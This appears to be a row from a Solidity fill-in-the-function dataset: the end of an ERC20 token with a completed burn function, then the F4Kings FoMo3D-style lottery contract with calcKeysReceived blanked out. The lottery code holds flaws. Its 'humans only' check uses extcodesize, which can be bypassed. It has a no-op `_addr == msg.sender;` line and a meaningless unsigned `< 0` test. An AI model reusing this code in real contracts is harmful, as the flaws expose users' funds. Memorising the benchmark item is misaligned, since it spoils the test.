require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
<FILL_FUNCTION>
} |
_value=_value.mul(1e18);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which should be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
| function burn(uint256 _value) onlyOwner public | function burn(uint256 _value) onlyOwner public |
7826 | F4Kings | calcKeysReceived | contract F4Kings is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c;
string constant public name = "f4kings";
string constant public symbol = "f4kings";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 24 hours; // round timer starts at this
uint256 constant private rndInc_ = 20 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
uint256 constant private rndLimit_ = 3; // limit rnd eth purchase
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(22,0); //48% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(32,0); //38% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(52,0); //18% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(42,0); //28% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D)
potSplit_[0] = F3Ddatasets.PotSplit(42,0); //48% to winner, 0% to next round, 10% to com
potSplit_[1] = F3Ddatasets.PotSplit(34,0); //48% to winner, 8% to next round, 10% to com
potSplit_[2] = F3Ddatasets.PotSplit(18,0); //48% to winner, 24% to next round, 10% to com
potSplit_[3] = F3Ddatasets.PotSplit(26,0); //48% to winner, 16% to next round, 10% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
uint256 _withdrawFee;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
{
//10% trade tax
_withdrawFee = _eth / 10;
uint256 _p1 = _withdrawFee.mul(65) / 100;
uint256 _p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
{
//10% trade tax
_withdrawFee = _eth / 10;
_p1 = _withdrawFee.mul(65) / 100;
_p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 100000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{<FILL_FUNCTION_BODY> }
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
shareCom.transfer((_com.mul(65) / 100));
admin.transfer((_com.mul(35) / 100));
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
uint256 _rndInc = rndInc_;
if(round_[_rID].pot > rndLimit_)
{
_rndInc = _rndInc / 2;
}
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
